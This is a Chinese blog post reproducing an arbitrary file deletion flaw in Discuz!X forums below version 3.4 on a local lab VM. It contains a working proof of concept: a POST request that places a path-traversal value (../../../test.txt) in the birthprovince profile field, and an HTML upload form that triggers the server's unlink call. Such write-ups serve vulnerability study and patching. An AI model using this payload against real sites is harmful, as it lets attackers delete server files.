码迷,mamicode.com
首页 > Web开发 > 详细

Discuz!X 3.4 前台任意文件删除漏洞复现

时间:2017-10-11 23:38:21      阅读:3560      评论:0      收藏:0      [点我收藏+]

标签:代码   ref   文件删除   orm   txt   上传   file   Enctype   inpu   

Discuz!X 3.4 前台任意文件删除漏洞复现

 

参考链接:

http://www.freebuf.com/vuls/149904.html

http://www.freebuf.com/articles/system/149810.html

http://mp.weixin.qq.com/s?srcid=0930uM1OtfeAsXwHRrfZBIyo&scene=23&mid=2650942631&sn=12a3c55807768f12fcd1b306fdf775d8&idx=1&__biz=MzAxNDY2MTQ2OQ%3D%3D&chksm=80796e95b70ee78345e289d3b1a9c262f6847b2032296ab90db54fc5b2b26771e505b17868c2&mpshare=1#rd

 

漏洞描述:

 

漏洞影响了Discuz  3.4 以下的所有版本。

该漏洞存在于upload/source/include/spacecp/spacecp_profile.php,文件中的submitcheck()函数。成功上传文件会跳转执行unlink这个函数。

 技术分享

space是用来存用户资料的变量,只所以选择birthprovince我觉得应该是这个字段没有对输入的内容做限制。

 技术分享

具体原理我也是根据别人讲的理解的。

 

实验环境:

win7 64位虚拟机 + phpstudy

Discuzx32gbk.zip    (在网盘里找对应文件名也行,下面链接下也行)

http://www.pc6.com/softview/SoftView_22804.html(目前使用3.2版本)

 

具体复现步骤:

首先在网站的根文件夹里新建一个test.txt,用于测试。

 

这个漏洞需要申请一个普通权限的用户

 技术分享

在用户资料设置处post数据修改出生地的值

http://192.168.198.128/DiscuzX3.2/home.php?mod=spacecp&ac=profile&op=base

POST提交 birthprovince=../../../test.txt&profilesubmit=1&formhash=8b257701

注意formhash的取值

 技术分享

技术分享

 

由上图可以看出出生地已经修改为被删除文件的地址,下一步本地创建一个上传点页面,代码如下,注意要修改成自己的formhash值。

<form
action="http://192.168.198.128/DiscuzX3.2/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="8b257701"/></p>
<input type="text" name="profilesubmit" value="1"/></p>
<input type="submit" value="Submit" />
</from>

访问如图,任意提交一个照片,服务器上test.txt文件被删除。

 技术分享

 

复现完成。

Discuz!X 3.4 前台任意文件删除漏洞复现

标签:代码   ref   文件删除   orm   txt   上传   file   Enctype   inpu   

原文地址:http://www.cnblogs.com/zhaijiahui/p/7653223.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!